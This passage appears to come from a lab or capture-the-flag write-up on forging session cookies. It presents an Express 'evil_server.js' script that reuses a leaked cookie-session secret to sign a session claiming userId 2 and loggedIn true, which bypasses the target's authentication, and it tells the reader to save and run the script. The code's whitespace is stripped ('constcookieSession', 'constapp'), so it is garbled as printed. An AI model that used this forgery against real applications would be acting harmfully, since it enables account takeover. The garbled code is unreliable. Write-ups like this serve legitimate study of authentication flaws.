We can see the cookie session secret is exposed, now we can try to recreate this application cookie implementation to be able to recreate a cookie to bypass the authentication.
Exploitation
We can start building our malicious server.
constcookieSession=require("cookie-session");constexpress=require("express");constcookieParser=require("cookie-parser");constapp=express();app.use(express.static(__dirname));app.use(cookieParser());app.use(cookieSession({ name:"session", keys: ["e5ac-4ebf-03e5-9e29-a3f562e10b22"], httpOnly:false, maxAge:86400000, }));app.get("", (req, res) => {req.session.userId =2; // CHANGED THE USER IDreq.session.secret ="e5ac-4ebf-03e5-9e29-a3f562e10b22";req.session.loggedIn =true;res.render("evil.ejs");});constport=process.env.PORT||1337;app.listen(port,"0.0.0.0", () =>console.log(`Listening on port ${port}...!!!`));
Save the snippet above to > evil_server.js and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be nodeJs express.